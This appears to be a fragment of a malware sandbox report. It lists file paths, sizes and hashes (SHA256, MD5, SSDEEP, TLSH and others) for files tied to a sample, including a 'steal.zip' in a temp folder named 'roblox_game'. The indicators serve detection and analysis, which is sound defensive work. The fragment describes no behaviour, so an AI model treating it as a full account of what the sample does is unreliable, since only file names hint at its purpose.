SHA256 8f7b11f3572beabba6b59b67b0a1b5de322247dc21ecefcfded9c8d576ef8aa1
MD5 c90782261c27a4bafa501e18dd727b08
SHA1 3d11b2343f42f5b0d6222718c516834c1bcfca84
SHA512 59c0558c4245fafdecdef3cd4b34ba8034ae631e2105ad6c058587e137f6fbc4698fa9f5fdffb8c8f5f1a8b1ec7b8be4e14a53cf5417fc1b57066bd7996dbb6a
SSDEEP 3072:wgGm7D5Lk17ox1tIpud63U8BehbCBi9fTrMx:wLm7Rkm1tYpBeh2BAox
TLSH
T1C5C302276D75AC3759B9B71EB08E0B1F1EF14AA6C920DE91C8D85B0823F97CC1A49934
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\data_1
Size 264KB
SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
MD5 f50f89a0a91564d0b8a211f8921aa7de
SHA1 112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA512 bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58
SSDEEP 3:MsEllllkEthXllkl2zE:/M/xT02z
MD5 SHA1 SHA512 SSDEEP

Submit Download

steal.zip

Path C:\Users\Admin\AppData\Local\Temp\roblox_game\steal.zip
Size 26.1MB
SHA256 b76a4130e2e0cb0ca8d9ca170938f9e16703b8ac2eb1b4823b5bd78b19c2c928
MD5 82f2dc3966093a1a7b498e20c518cd83
SHA1 c1f7c8df14491b5bb996beb835c87cec58c40cdc
SHA512 0d52767420f8a5ce228cb8dc800366f68d41cc1995b97bcd9c74cc156ee55ae96b50c2eabc14005bf9c67c301ae740f6b9c0418c2458d65f8f50edc218c4677c
SSDEEP 98304:FHGOLadCapkIVsXmkDG9HGOLadCapkIVsXmkDG7/OGCtz6NYvDng/:Mjd1iFX9hjd1iFX9QkOYG
TLSH
T17C576003BB949F90F1E2453298A6CEB45531BF917D635A3A22F43F0F7DB96809913632
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download